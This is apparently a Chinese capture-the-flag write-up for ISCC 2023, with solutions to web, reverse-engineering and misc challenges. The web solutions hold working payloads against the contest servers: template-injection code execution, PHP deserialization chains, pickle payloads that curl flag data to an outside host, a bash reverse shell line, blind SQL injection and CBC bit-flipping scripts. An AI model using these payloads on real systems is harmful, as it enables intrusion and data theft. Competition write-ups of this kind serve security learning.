ISCC2023 wp

ISCC_练武

Web

羊了个羊

访问链接,发现不能F12,所以在链接前加上view-source:

image-20230510192018380

发现网页js代码,尝试搜索ISCC

image-20230510192111576

发现b64密文:U1ZORFEzdEJOakpzTUdoUk9HRTFSM0k1UTNaR05rOWFWSEUxWjJRd1RVb3llbTExUkgwPQ==

解密:SVNDQ3tBNjJsMGhROGE1R3I5Q3ZGNk9aVHE1Z2QwTUoyem11RH0=

再次解密:ISCC{A62l0hQ8a5Gr9CvF6OZTq5gd0MJ2zmuD}

解题收获:熟悉了js逆向

小周的密码锁

对password和password1进行爆破

当值为8和5的时候可以看到源码

image-20230522165401591

然后就是去爆破user,sha1,sha2变量

得到user=14987637

sha1=twpeub

sha2=FRXDQJ

image-20230522172105940

因为是自己定义的hashcode所以是可以存在不同字符串相同哈希值的情况

image-20230522171754791

所以最终payload为:

http://47.94.14.162:10008/index.php?username=14987637&sha1=twpeub&%E2%80%AE%E2%81%A6//sha2%E2%81%A9%E2%81%A6sha2=FRXDQJ&password=ISCBuwTHARD&password2=1

image-20230522173158221

解题收获:了解了爆破hash,hash碰撞

老狼老狼几点了

输入12点得到源代码,然后使用fastcoll来碰撞hash

image-20230522173501352

因为第二个if里面只检测字符串的前10位,所以我们上述生成的字符串需要前10位为时间戳,那么我们可以去设置成未来的某个时间戳然后用time函数

然后字符逃逸和php://filter伪协议来include包含flag.php

编写脚本得到响应体

PD9waHAKICAgIC8vZmxhZzpJU0NDe2RubGoxQVpKcE9vQlFVQWt4R0VmenBxdVBrQnUySDVGfQogICAgZWNobyBPSEgsIE5PIE5PIE5PLCBjb21lIGFuZCBnZXQgbWU7Cgo=

image-20230522174648617

然后解码得到flag

image-20230522174833309

ChatGGG

Payload:ISCC{sH8UtQ4kiz7DIb85joyR2A94MdOl3TL6}

考点就是ssti,过滤. class 等关键字,单引号’,{{

使用[]绕过.

使用hex编码绕过 class 等关键字

使用{%print()%}绕过 {{

Payload

{%print(""["\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f"]["\x5f\x5f\x62\x61\x73\x65\x73\x5f\x5f"][0]["\x5f\x5f\x73\x75\x62\x63\x6c\x61\x73\x73\x65\x73\x5f\x5f"]()[140]["\x5f\x5f\x69\x6e\x69\x74\x5f\x5f"]["\x5f\x5f\x67\x6c\x6f\x62\x61\x6c\x73\x5f\x5f"]["popen"]("\x63\x61\x74\x20\x66\x6c\x6c\x6c\x61\x61\x67\x2e\x74\x78\x74")["read"]())%}

image-20230601111618262

解题收获:熟悉了模板注入

Where_is_your_love

查看元素发现了三个php文件

image-20230530145341481

下载下来keyiscc,letter和一个反序列化的源码

首先看反序列化

链子为:

class boy::__destruct()
↓↓↓
class girl::__call()
↓↓↓
class helper::__isset()
↓↓↓
class boy::__toString()
↓↓↓
class helper::__get()
↓↓↓
class love_story::love()

POC

<?php
class boy {
    public $like;
    public function __construct($a)
    {
        $this->like=$a;
    }
}
class girl {
    private $boyname;
    public function __construct($a)
    {
        $this->boyname=$a;
    }
}
class helper {
    private $name;
    private $string;
    public function __construct($string,$a) {
        $this->string = $string;
        $this->name=$a;
    }
}
class love_story {
    public $fall_in_love = array(0=>"girl_and_boy");
}
$gir1 = new girl('et3');
$hel1 = new helper('et3','et3');
$lov1 = new love_story();
$boy1 = new boy('et3');
$hp1=new helper(array('string' => [new love_story(),"love"]),'0');
$bo1=new boy($hp1);
$hp2=new helper('et3',$bo1);
$gi1=new girl($hp2);
$bo2=new boy($gi1);
$final=serialize($bo2);
echo urlencode($final); 

payload

?iscc=O%3A3%3A%22boy%22%3A1%3A%7Bs%3A4%3A%22like%22%3BO%3A4%3A%22girl%22%3A1%3A%7Bs%3A13%3A%22%00girl%00boyname%22%3BO%3A6%3A%22helper%22%3A2%3A%7Bs%3A12%3A%22%00helper%00name%22%3BO%3A3%3A%22boy%22%3A1%3A%7Bs%3A4%3A%22like%22%3BO%3A6%3A%22helper%22%3A2%3A%7Bs%3A12%3A%22%00helper%00name%22%3Bs%3A1%3A%220%22%3Bs%3A14%3A%22%00helper%00string%22%3Ba%3A1%3A%7Bs%3A6%3A%22string%22%3Ba%3A2%3A%7Bi%3A0%3BO%3A10%3A%22love_story%22%3A1%3A%7Bs%3A12%3A%22fall_in_love%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A12%3A%22girl_and_boy%22%3B%7D%7Di%3A1%3Bs%3A4%3A%22love%22%3B%7D%7D%7D%7Ds%3A14%3A%22%00helper%00string%22%3Bs%3A3%3A%22et3%22%3B%7D%7D%7D

image-20230530145454131

返回值:e35b09261d05383d30161e5e182be70658135939353e242a102525580b1729e65fe13e3e3404

然后解析public.key

image-20230530145524628

然后调用yafu对n进行分解得到:

P309 = 147080233415299360057845495186390765586922902910770748924042642102066002833475419563625282038534033761523277282491713393841245804046571337610325158434942879464810055753965320619327164976752647165681046903418924945132096866002693037715397450918689064404951199247250188795306045444756953833882242163199922206967

P309 = 147080233415299360057845495186390765586922902910770748924042642102066002833475419563625282038534033761523277282491713393841245804046571337610325158434942879464810055753965320619327164976752647165681046903418924945132096866002693037715397450918689064404951199247250188795306045444756953833882242163199922205709

已知p和q求phi=(p-1)*(q-1)

然后利用invert(e,phi)求出私钥

得到d = 20792535943267793509400664914663594855926895519001804077771824885183708493448996044516001552204465205324689182982181015701361491865103390303593035580968027355693863346025810220882232210873104767479256503528669806403863668108548042875723720419893829845764168791356905930274562399773005202084660710710347966879524884553126821743719039221402066853902761268423215155289109351184898540983757340355583224114179785385585072388750798022105593895147221232802286983873330926497505337833446007945145430620813622043751962368229905913274364905816305975180817823713582368386110413570994657759409097219158283915064192565506705057921

之后要找到密文c,所以猜测letter.php是存放密文,提取出文件的十六进制数值

4392980B269740DA8230B92D73C419AD49BF7EF673D03A3A09C309123B3463C438C904D7247554BC1CC00B73BCE1FEDB2D0D3976A800FE14D5487C132D67DC0990581577BA38E6E4D8830C0B41FF69E2CE901F4EC89F56FE9D48AC4E910BB1BF4E5913EBE766E84A9005E9E0F8CB09766A85296812A65B38AA1FD63125E2D5468FC87904F1DBB30611708D22E92CB91F648CEBDC535EC32C46FF4387111C3D7A8F016B0B9ADDE451FEB11FA182923F8589E51A19E7DB08879A1B96C970AE458C3B531897F620A5BE3DD403914DC973769864705105A49793136515F08D2BD0A8C681533B4D0566DED4A7A16A6423FC9749FA554F1277D6D7C45EEFB25442FA8F

然后转换为int

c=8530254588966829834455480951833906070732403148510679362017565373269750418176646166382400178332972934093607408789719445565168370783220246473879672034218470400732624257045578085540515891000814358767437128590401597444541696561481439298734912632565289036244550789132932902805182079009950598882089323755520241569224684015358042478580914974188294787845638991395473487016273040555985633410751273015735335845836542698535898307328352997348976696598676776174058972462475116192041274686219418443286829062909262677318075802057309325237728547222618694816652165687827001008767201596367396977903210658846434611166296693949845404303

from gmpy2 import gcd, invert, powmod
from Crypto.Util.number import long_to_bytes
p=147080233415299360057845495186390765586922902910770748924042642102066002833475419563625282038534033761523277282491713393841245804046571337610325158434942879464810055753965320619327164976752647165681046903418924945132096866002693037715397450918689064404951199247250188795306045444756953833882242163199922206967
q=147080233415299360057845495186390765586922902910770748924042642102066002833475419563625282038534033761523277282491713393841245804046571337610325158434942879464810055753965320619327164976752647165681046903418924945132096866002693037715397450918689064404951199247250188795306045444756953833882242163199922205709
c=8530254588966829834455480951833906070732403148510679362017565373269750418176646166382400178332972934093607408789719445565168370783220246473879672034218470400732624257045578085540515891000814358767437128590401597444541696561481439298734912632565289036244550789132932902805182079009950598882089323755520241569224684015358042478580914974188294787845638991395473487016273040555985633410751273015735335845836542698535898307328352997348976696598676776174058972462475116192041274686219418443286829062909262677318075802057309325237728547222618694816652165687827001008767201596367396977903210658846434611166296693949845404303
phi=(p-1)*(q-1)
e=65537
d = invert(e,phi)
n=21632595061498942456591176284485458726074437255982049051386399661866343401307576418742779935973203520468696897782308820580710694887656859447653301575912839865540207043886422473424543631000613842175006881377927881354616669050512971265340129939652367389539089568185762381769176974757484155591541925924309034566325122477217195694622210444478497422147703839359963069352123250114163369656862332886519324535078617986837018261033100555378934126290111146362437878180948892817526628614714852292454750429061910217210651682864700027396878086089765753730027466491890569705897416499997534143482201450410155650707746775053846974603
m=long_to_bytes(powmod(c,d,n))
print(m)
得到m为加密脚本:

image-20230530145924968

解输入的data

a = "e3e65e1a5a34065f5b2b5a351905e53058075e1b2a1039120024090b14310f5b26e13e3e3404"

b=[]

for i in range(0,len(a),2):

  b.append("0x"+a[i]+a[i+1])

b=list(map(eval,b))

c=""

for i in range(len(b)):

  b[i] ^= 100

  b[i] -= 10

  b[i] = chr(b[i])

  c+=b[i]

print(c[::-1])

得到:VFPP{85aKfec6ZlSjDu0Y2JwWsG4E51XF4t0x}

最后解rot13

得到flag

解题收获:熟悉了rsa和反序列化

上大号说话

http://47.94.14.162:10004/.git 泄露源码,调试源码可知file_key是4位

然后爆破密钥得到结果5MbG

from cryptography.fernet import Fernet
import base64
class ED:
    def crypto(self, base_str):
        self.file_key = '5MbG'  # 1Aa  5MbG
        self.cipher_suite = Fernet(self.generate_key(self.file_key))
        return self.cipher_suite.encrypt(base_str)
    @staticmethod
    def generate_key(key: str):
        key_byte = key.encode()
        return base64.urlsafe_b64encode(key_byte + b'0' * 28)
    def decrypto(self, base_str):

        list1=[]
        s = ''
        for i in range(48, 123):
            for o in range(48, 123):
                for w in range(48, 123):
                    for a in range(48, 123):
                        s = s + chr(i) + chr(o) + chr(w) + chr(a)
                        list1.append(s)
                        s = ''
        for i in list1:
            self.file_key = i  # 1Aa
            try:
                self.cipher_suite = Fernet(self.generate_key(self.file_key))
                f=self.cipher_suite.decrypt(base_str)
                print(i," ",f)
                break
            except:
                print(i)

if __name__ == '__main__':
    a=b'gAAAAABkVkZZi6AjDCN_9Lo-fztjvS6OmTduXr01KgyEclBoLFIbGtSpbgjkZbOjEKqp4wAY6_LaSs3QPBh2ozi-ykgjoqvX1l8k92_93OY_TNCmrmMYCP2Y_u76jhA-DpsU_HcFyUOAYSfKF7wQTJYa5MVGjA73SgfA7lfX5DElTwO581BSf3o='
    ed = ED()
print(ed.decrypto(a))

image-20230530150240100

然后先随便赋值,然后根据题目要求手动修改编码

import pickle
import base64
import secret
import pickletools

class Member():
    def __init__(self):
        self.name = 'mabaoguo'
        self.random = 'd'
        self.gongfu = 'sdf'

new_flag = pickle.dumps(Member(), protocol=3)
flag = pickletools.optimize(new_flag)
print(flag)

 if result.name == 'mabaoguo' and result.random == mabaoguo.random and result.gongfu == mabaoguo.gongfu
根据源码要求修改为:
\x80\x03c__main__\nMember\n)\x81}(X\x04\x00\x00\x00nameX\x08\x00\x00\x00mabaoguoX\x06\x00\x00\x00randomcmabaoguo\nrandom\nX\x06\x00\x00\x00gongfucmabaoguo\ngongfu\nub.
然后进行加密

from cryptography.fernet import Fernet
import base64
class ED:
    def crypto(self, base_str):
        self.file_key = '5MbG'  # 1Aa  5MbG
        self.cipher_suite = Fernet(self.generate_key(self.file_key))
        return self.cipher_suite.encrypt(base_str)
    @staticmethod
    def generate_key(key: str):
        key_byte = key.encode()
        return base64.urlsafe_b64encode(key_byte + b'0' * 28)
    def decrypto(self, base_str):

        list1=[]
        s = ''
        for i in range(48, 123):
            for o in range(48, 123):
                for w in range(48, 123):
                    for a in range(48, 123):
                        s = s + chr(i) + chr(o) + chr(w) + chr(a)
                        list1.append(s)
                        s = ''
        for i in list1:
            self.file_key = i  # 1Aa
            try:
                self.cipher_suite = Fernet(self.generate_key(self.file_key))
                f=self.cipher_suite.decrypt(base_str)
                print(i," ",f)
                break
            except:
                print(i)

if __name__ == '__main__':
    a=b'\x80\x03c__main__\nMember\n)\x81}(X\x04\x00\x00\x00nameX\x08\x00\x00\x00mabaoguoX\x06\x00\x00\x00randomcmabaoguo\nrandom\nX\x06\x00\x00\x00gongfucmabaoguo\ngongfu\nub.'
    ed = ED()
    print(ed.crypto(a))

image-20230530150342091

然后使用服务器外带数据

from cryptography.fernet import Fernet
import base64
class ED:
    def crypto(self, base_str):
        self.file_key = '5MbG'  # 1Aa  5MbG
        self.cipher_suite = Fernet(self.generate_key(self.file_key))
        return self.cipher_suite.encrypt(base_str)
    @staticmethod
    def generate_key(key: str):
        key_byte = key.encode()
        return base64.urlsafe_b64encode(key_byte + b'0' * 28)
    def decrypto(self, base_str):

        list1=[]
        s = ''
        for i in range(48, 123):
            for o in range(48, 123):
                for w in range(48, 123):
                    for a in range(48, 123):
                        s = s + chr(i) + chr(o) + chr(w) + chr(a)
                        list1.append(s)
                        s = ''
        for i in list1:
            self.file_key = i  # 1Aa
            try:
                self.cipher_suite = Fernet(self.generate_key(self.file_key))
                f=self.cipher_suite.decrypt(base_str)
                print(i," ",f)
                break
            except:
                print(i)

if __name__ == '__main__':
    a=b'\x80\x03c__main__\nMember\n)\x81}(V__setstate__\ncos\nsystem\nubVcurl http://ip:port/`cat flagucjbgaxqef.txt|base64`\nb0c__main__\nMember\n)\x81}(X\x04\x00\x00\x00nameX\x08\x00\x00\x00mabaoguoX\x06\x00\x00\x00randomcmabaoguo\nrandom\nX\x06\x00\x00\x00gongfucmabaoguo\ngongfu\nub.'
'
    ed = ED()
    print(ed.crypto(a))

通过上述脚本进行加密,传入cookie

image-20230530150426504

然后base64解密得到flag

解题收获:熟悉了web解题流程,密钥爆破

ISCC单身节抽奖

登录页面源代码有提示

image-20230530150502656

F12抽奖页面,发现有token,把token base64解密

image-20230530150523404

把et3改为blasterr,这里存在php反序列化字符逃逸漏洞,利用漏洞将sdog改为1

所以注册登录账户ababab";s:4:"sdog";i:1;},密码为1。然后登录然后下载凭证

image-20230530150540767

然后通过e来绕过,将check_time改为0.432000e,将file改为apidemo.php,下载apidemo.php源码

image-20230530150555752

然后xxe访问/flag

image-20230530150611381

ISCC内部零元购2

import base64
import requests
#eval commands subprocess exec global popen system os
# timeit.timeit("__import__('os').system('curl 
`ls`.wd7vst.dnslog.cn')")
#__import__('os').system('bash -c "bash -i >& /dev/tcp/*.*.*.*/8888 
0<&1 2>&1"')
opcode1=b'''(V\u005f\u005f\u0069\u006d\u0070\u006f\u0072\u0074\u005f\u0
05f\u0028\u0027\u0(__import__('os').system('bash -c "bash -i >& 
/dev/tcp/*.*.*.*/8888 0<&1 2>&1"')unicode 编码)
timeit
timeit
R.'''
payload=base64.b64encode(opcode1).decode()
url = "http://47.94.14.162:10009/"
header = {"Cookie":"session="+payload+"; 
Auth=eyJ0eXAiOiJqd3QiLCJhbGciOiJSUzI1NiIsIkFjY2Vzc19JUCI6IjE3MS4xMC45Ny
4zOSJ9.eyJuYW1lIjoiR3Vlc3QiLCJleHAiOjE2ODM5NjAzNjd9.BIrQrrnk35o72XTtX68CXwxtO13Zg14SpPXM97F4SvCZKhQigwE_R6Xc7kDVJLQITvnoDvN9
NdGuLCp-IB6Pv1XDcCfUKHNKy5Jg6Om4-
RFmqFWZudltpYzrUXwJ_sHFmBcFACnkI3GUimwr9Y4jrswHQEjtAxT04nHGM_LPvc"}
r = requests.get(url,headers=header)
print(r.text)

解题收获:熟悉base64编码饶过

ISCC疯狂购物节1

进入之后注册,注册完之后登录获取csrftoken 和 sessionid,使用以下exp

import requests
import string
from time import sleep

# proxies=pro,
pro = {'http': 'http://127.0.0.1:8011',
'https': 'http://127.0.0.1:8011'
}

# 绕过are you kidding me
cookies ={
    'csrftoken': "up2e2gJOFqgNVlJcEmH3QIkm5G0o4P8zjFfrzR9DqGskO9kbqpUOZggI24FQoqfT",
    'sessionid': "hhfenh20s5j70vh5lm380ux1znib8tcb",
}

headers = {
'Acept':'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'Cache-Control':  'max-age=0',
    'Connection': 'keep-alive',
    #cookie":
    'Upgrade-Insecure-Requests' : '1',
    'User-Agent' : 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36 Edg/113.0.1774.35',
}
def str_to_hex(string):
    result = ''
    for i in string:
        result+=hex(ord(i))[2:]
    return result
# 找到flag所在字段
def find_flag_col():
    url = "http://47.94.14.162:10001/Details/search?id=4875610)||{} like binary 0x5f25 %23"

    with open(r'flag.txt','r') as f:
        print(f)
        for flag in f:
            payload = url.format(flag.strip('\n'))
            print(payload)
            r = requests.get(url=payload,cookies=cookies,headers=headers)
            # print(r.text)
            sleep(1)

            if r.status_code != 500:
                print(r.text)
                print("Found:[+]:{}".format(flag))
#已经找到字段为fl4g
# 正则过滤了,只能0x+四个字符
url = "http://47.94.14.162:10001/Details/search?id=4875610)||fl4g like binary 0x25{}{}25 %23"

alphabet="0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!#$%&()*+,-./:;<=>?@[\]^`{|}~"
result= '{'
for i in range(1,100):

    for ch in alphabet:
        payload = url.format(str_to_hex(result[-1]),str_to_hex(ch))
        # payload = url.format(str_to_hex(ch))
        print(payload)

        r = requests.get(url=payload,cookies=cookies,headers=headers)
        # print(r.text)
        sleep(1)

        if "too fast" in r.text:
            print("too fast")
            sleep(2)
            r = requests.get(url=payload,cookies=cookies,headers=headers)

        if "576O576K576K" in r.text:
            print(payload)
            result += ch
            print("注入成功:[+]", result)
            break # 这一位已经跑出来了,可以break掉然后下一轮循环跑下一位数据了
        # 如果已经跑到了字母表最后一位都还没有进到上面的if然后break,说明这轮循环没跑出来正确结果,说明注入完成(或者注入payload写的有问题注入失败),脚本没必要继续跑下去了
        if ch == alphabet[-1]:
            print("注入完成")
            exit(0)

image-20230530192137331

解题收获:熟悉sql盲注

滥用职权

首先就是需要注册一个新号,然后登录第三个好像是策划部吧,需要bp抓包改大写字母

然后但是需要CBC反转来绕过认证,脚本如下

import base64
import requests
import urllib.parse
iv_raw='Jh5f1efA%2FP0aK4Ja5q6%2Flg%3D%3D' #这里填写第一次返回的iv值
cipher_raw='YKdGRbYAyVv8G6sI5nTWyTfXFQHzVvdf4DjoLGO3DwKdXf%2FSjYwFrl4xX9DhpyRb82wrxFam4nYvKjtClYr58eiz%2BBW19RHESbDTz8fA2Y6Ffez4YxW788%2BeDRi6OyZ%2B' #这里填写第一次返回的cipher值
print ("[*]原始iv和cipher")
print ("iv_raw: " + iv_raw)
print ("cipher_raw: " + cipher_raw)
print ("[*]对cipher解码,进行反转")
cipher = base64.b64decode(urllib.parse.unquote(cipher_raw))
\#a:3:{s:8:"deppartm";s:7:"orgnize";s:8:"username";s:3:"123";s:8:"password";s:3:"123";}
\#a:3:{s:8:"deppar
\#tm";s:7:"orgnize
\#";s:8:"username"
\#;s:3:"123";s:8:"
\#password";s:3:"1
\#23";}
xor_cipher = cipher[0:9]+bytes([ord(chr(cipher[9]))^ord('T')^ord('t')])+cipher[10:]
\#xor_cipher2=cipher[0:25]+ chr(ord(cipher[25]) ^ ord('z') ^ ord('a')) + cipher[25:] #如果修改的是第三密文组,要对前一个密文修改
\#print(xor_cipher)
xor_cipher=urllib.parse.quote(base64.b64encode(xor_cipher))
print ("反转后的cipher:" + xor_cipher)

反转之后还需要重新算一下偏移
脚本如下

<?php
  \#计算iv
  $res = base64_decode('txkvKlgRty+WzPGCJ8aK4XRtIjtzOjU6InRlY2huIjtzOjg6InVzZXJuYW1lIjtzOjM6IjEyMyI7czo4OiJwYXNzd29yZCI7czozOiIxMjMiO30=');  //这里放burp放回的base64数据
  $iv = base64_decode(urldecode('Jh5f1efA%2FP0aK4Ja5q6%2Flg%3D%3D')); //这里放cookie中的iv
  $plaintext = 'a:3:{s:8:"deppar';
  $new_iv = '';
  for ($i = 0; $i < 16; $i ++){
    $new_iv = $new_iv . chr(ord($iv[$i]) ^ ord($res[$i]) ^ ord($plaintext[$i])); //产生新的向量IV
  }
  echo urlencode(base64_encode($new_iv));
?>

这样就可以使用自己注册的号进入策划部
成功伪造身份

查看提示以为是xss+csrf来让bot点击购买flag,但是一直行不通,后来发现存在类似条件竞争
随手一登陆,发现有个admin/admin,利用上面的cbc绕过,然后两个号同时给彼此任免,可以提高level,而flag好像是需要100000可以购买,猜测level就是这个钱
然后利用bp抓包进行条件竞争,攒够100000之后购买flag得到flag

解题收获:条件竞争与CBC反转来绕过认证

Reverse

JustDoIt

ida打开文件,找到main_0函数F5反汇编,分析代码

image-20230510192536762

发现sub_487C91函数是对输入字符串进行处理,然后在for循环中与v8进行对比

所以进入加密函数分析

image-20230510192651484

首先是对输入字符串进行-60

然后将字符串的顺序往后顺延一位

然后是for循环每一位字符加上下标

然后是最后一个for循环处理字符串

没有涉及其他加密,都是常规的运算,所以直接把函数的循环倒着执行一遍就行

exp:

#include<bits/stdc++.h>
using namespace std;
int main(){
    char a1[16];
    a1[0] = 23;
  a1[1] = 68;
  a1[2] = 68;
  a1[3] = 15;
  a1[4] = 94;
  a1[5] = 10;
  a1[6] = 8;
  a1[7] = 10;
  a1[8] = 6;
  a1[9] = 95;
  a1[10] = 8;
  a1[11] = 24;
  a1[12] = 87;
  a1[13] = 3;
  a1[14] = 26;
  a1[15] = 'i'; 
    char a2[] = {73,83,67,67};
    int a3 = 16;
    for(int i = 1; i < a3; i++){
        a1[i] ^= *a2;
        a1[i] -= a2[i%4] % 5;
        a1[i] = a1[i] + a2[2]%6 + a2[3]/6;
        a1[i] -= a2[1]/7 + *a2%7;
    }
    for(int i = 1; i < a3; i++){
        a1[i] -= i;
        a1[i] += 60;
        cout << a1[i];
    }
} 

运行得到flag,这里没有对字符串顺延处理,所以运行得到的flag再手动转换一下

最终得到:ISCC{Just~Do~It}

解题收获:熟悉逆向流程

奇门遁甲

ida反汇编F5得到伪代码

image-20230510193221397

主要逻辑就是这个do,while循环,对每一次的输入进行检测,同时校验v3的值,所以这里主要观察v3的顺序,从1-8

得到输入字符串的顺序是31284567

所以根据顺序查找函数中输出的值,然后组合得到flag

ISCC{AKlFQ%iHCC6lik4igYVr#ue0}

也可以直接运行程序,然后依次输入31284567,将输出内容组合得到flag

变形记

首先还是ida找main函数然后F5反汇编

这个题逻辑有点乱,但总的来说就是对输入的字符串缩减,就是把重复的字符换成数字,然后对字符串进行base64加密,最后是对base64加密后的字符串进行逆置,最后与所给定的字符串进行比对

image-20230510194713908

在这个位置调用函数,对字符串进行base64加密

image-20230510194857770

在这里进行字符串的逆置

所以最后解flag的时候只需要吧==gd5V1cyIkezlnQRl3c2NzcCVlQ逆置一下

得到:BUBs3vsyQByszB2sUyv

然后将数字给替换成数字前的一个字母就行得到:BUBsssvsyQByszBBBsUyv

最后flag:ISCC{BUBsssvsyQByszBBBsUyv}

解题收获:熟悉逆向流程

Convert

ida打开文件,找到main_0函数F5反汇编

逻辑很简单,就是对输入的字符串调用sub_488B0A()函数加密,然后与v8字符串进行比较

image-20230511194453330

所以观察一下这个函数

image-20230511194519272

可以看到都是一些很简单的运算,所以没啥说的,直接把循环倒着写一遍就行了

exp:

#include <bits/stdc++.h>
using namespace std;
int main(){
     int v6 = 23,j=0;
    char v10[23];
    v10[0] = 40;
    v10[1] = 48;
    v10[2] = 36;
    v10[3] = 36;
    v10[4] = 98;
    v10[5] = 22;
    v10[6] = 22;
    v10[7] = 66;
    v10[8] = 24;
    v10[9] = 65;
    v10[10] = 56;
    v10[11] = 26;
    v10[12] = 146;
    v10[13] = 76;
    v10[14] = 67;
    v10[15] = 135;
    v10[16] = 86;
    v10[17] = 56;
    v10[18] = 34;
    v10[19] = 82;
    v10[20] = 21;
    v10[21] = 34;
    v10[22] = 115;
    char a2[] = "ISCC";
    for (j = 0; j < 4; ++j)
    {

        v10[j + 16] -= a2[j] / 5;
        v10[j + 12] -= v10[j + 4];
        v10[j + 8] -= 2 * j;
        v10[j + 4] -= a2[j] % 5;
        v10[j] -= j ^ -(a2[j] % 4);
    }
    for (int i = 0; i < v6; i++)
    {
        v10[i] -= i;
        v10[i] += 32;
        cout << char(v10[i]);
    }
    return 0; 
}

运行得到flag

解题收获:熟悉逆向流程

Pull the Wool Over People’s Eyes

用ida打开,然后找主函数,F5分析

image-20230511195910453

这里输入字符串为v35,然后调用函数生成Src这个字符串

然后是一个do,while循环,在循环内部主要进行了异或,将sub_401650()函数生成的字符串与输入字符串进行异或

image-20230511200042814

然后在这里对异或之后的字符串进行比对,如果与v10字符串不相等就直接跳出循环然后提示wrong

所以需要获取到sub_401650()这个函数所生成的字符串是什么可以动调

image-20230511201640394

在这里获取到与输入字符串异或的值

image-20230511201708674

得到字符串:ISCC{ACYeeeloorrsuv}

exp:

key = b'ISCC{ACYeeeloorrsuv}'
flag = '0000000000000000000000000000000000000000001011000011001001101111010100000000110000001011001101100100000000100011000000010001100100100011000101000001000000000000'
f = []
for i in range(0,len(flag),8):
    t = ""
    for j in range(8):
        t += flag[i+j]
    f.append(int(t,2))
print(f)
for i in range(len(f)):
    print(chr(key[i]^f[i]),end="")

运行得到flag

Congratulations

ida打开附件静态分析

image-20230522161149499

44行获取输入,然后调用sub_488D5D()与sub_489410()函数,对输入的flag进行加密,然后在下面与v9[]进行比较,所以v9为最终的密文

看一下加密函数

image-20230522161334798

image-20230522161349166

逻辑很简单,直接逆

exp:

#include <bits/stdc++.h>
using namespace std;

int sub_BCC3E0_decrypt(char* encrypted_str, int a2) {
    char v4[36] = "ABCDEFGHIJKLMNOPQRSTUVWXYZ";
    char v5[32] = "abcdefghijklmnopqrstuvwxyz";
    int len = strlen(encrypted_str);
    for (int i = 0; i < len; i++) {
        if (encrypted_str[i] < 97 || encrypted_str[i] > 122) {
            if (encrypted_str[i] >= 65 && encrypted_str[i] <= 90) {
                encrypted_str[i] = v4[(encrypted_str[i] - 65 - a2 + 26) % 26];
            }
        } else {
            encrypted_str[i] = v5[(encrypted_str[i] - 97 - a2 + 26) % 26];
        }
    }
    return len;
}

int main() {
    char a[26];
    a[0] = -91;
    a[1] = 67;
    a[2] = 83;
    a[3] = -108;
    a[4] = 84;
    a[5] = 73;
    a[6] = -83;
    a[7] = -69;
    a[8] = 72;
    a[9] = 119;
    a[10] = 88;
    a[11] = -24;
    a[12] = 81;
    a[13] = 95;
    a[14] = -94;
    a[15] = 70;
    a[16] = 72;
    a[17] = -106;
    a[18] = 118;
    a[19] = 114;
    a[20] = -127;
    a[21] = -70;
    a[22] = -84;
    a[23] = 9;
    a[24] = -9;
    a[25] = '_';
    char a2[] = "ISCC";
    int a3 = 26;
    for(int i=a3-2; i >=0; i--) {
        *(a + i) ^= *(a2 + 1);
    }
    for(int j=a3-2; j >= 0; j--) {
        *(j + a) += *(j + a + 1);
    }
    for(int i=0; i < 26; i++) {
        a[i] += 30;
    }
    int t = -1;
    int s = sub_BCC3E0_decrypt(a, t);
    for(int i=0; i < 26; i++) {
        cout << a[i];
    }
}

运行得到flag

image-20230522161455328

解题收获:熟悉逆向流程

CrackMePlease

image-20230522161954655

分析一下,发现就是对输入的flag进行某些操作,然后在第58行的位置与str1进行比较,所以直接上动调

image-20230522162328506

这里可以看到str1的值为:ISCC{fXGz#W:[}{EASY} 但是直接提交不对

image-20230522162436393

发现这里是对str2也就是输入的字符串添加了个{EASY}的后缀,所以吧{EASY}去掉

得到flag:ISCC{fXGz#W:[}

《狂彪》-1

ida打开

image-20230601090021713

发现如果运行不会出现任何结果,需要将传入var8的796B159ACD626B88修改

为其他值才可以添加配方

查看recipe文件,可以得到每个配方的哈希值。

image-20230601090052993

分析可得加入的材料是4-chloroisatin,得到的产物是Ammosamide B,传入的

var8应该为0x50d7c32f4a659。

接下来直接输出flag即可

long long int num= 0x50d7c32f4a659;
 char str1[]="4-chloroisatin";
 char str2[] = "Ammosamide B";
 long long int num_ = ((num % 100000) % 38) ^ (38 *
(num % 100000));
 printf("ISCC{%d_%s_%lld_%s}",num_,str1,num,str2);

解题收获:熟悉逆向流程

《狂彪》-2

这个题使用了上一题的处理过程0x50d7c32f4a659作为密钥对密文进行aes解

密,解密出的数据可以分离出一个压缩包

def decrypt_data(key, enc_file):
    with open(enc_file, "rb") as f:
        enc = f.read()

    data = AES.new(key, AES.MODE_CBC, key).decrypt(enc)
    zip_data = data[0x1d4c36:]
    zip_data = io.BytesIO(zip_data)

    zip_file = zipfile.ZipFile(zip_data)
    zip_list = zip_file.namelist()
    elf_name = zip_list[1]
    zip_file.extract(elf_name,'.',pwd=key)
    zip_file.close()

    with open(elf_name, "rb") as f:
        elf_data = f.read()

压缩包有密码,使用0x50d7c32f4a659的十进制可以解压

这个是一个使用mov进行混淆的程序,动静态结合分析后发现,里面大致执行了三

种运算,加16,异或2和减44,同时还有一串明文ISCC{tHe_5eY@

找到对应密文后,写个脚本解密即可得到flag

a = [0x19, 0x17, 0x08, 0x0C, 0x0D, 0x2B, 0x16, 0x0D, 0x18,
0x33,
 0x0A, 0x05, 0x3B, 0x08, 0x14, 0x4A, 0x07, 0x28, 0x5F,
0x40,
 0x36, 0x08, 0x50, 0x37, 0x50, 0x2A, 0x2F, 0x0C, 0x2B,
0x52,
 0x24, 0x63]
print("ISCC{tHe_5eY@",end="")
for i in a:
    i -= 16
    i^=2
    i+=44
    print(chr(i),end="")

解题收获:熟悉逆向流程

Misc

好看的维吾尔族小姐姐

拿到压缩包,然后解压,得到图片,发现图片高度有问题,所以修改图片高度

image-20230511202450617

得到DATAMATRIX码,用工具扫码

image-20230511202511533

image-20230511202621082

到倒置的unicode编码,所以对字符串逆置然后解unicode编码得到flag

image-20230511202829863

解题收获:了解DATAMATRIX码

汤姆历险记

这个题当时写的时候非预期了,直接用的消息传递这题最后一步得到的flag然后与字典替换得到正确的flag

消息传递中最后一步得到的flag为:ISCC{i2s0c2c3}

然后用所给定的字典来替换大括号的内容得到flag:ISCC{fvprcvca}

解题收获:非预期

菜鸟黑客-1

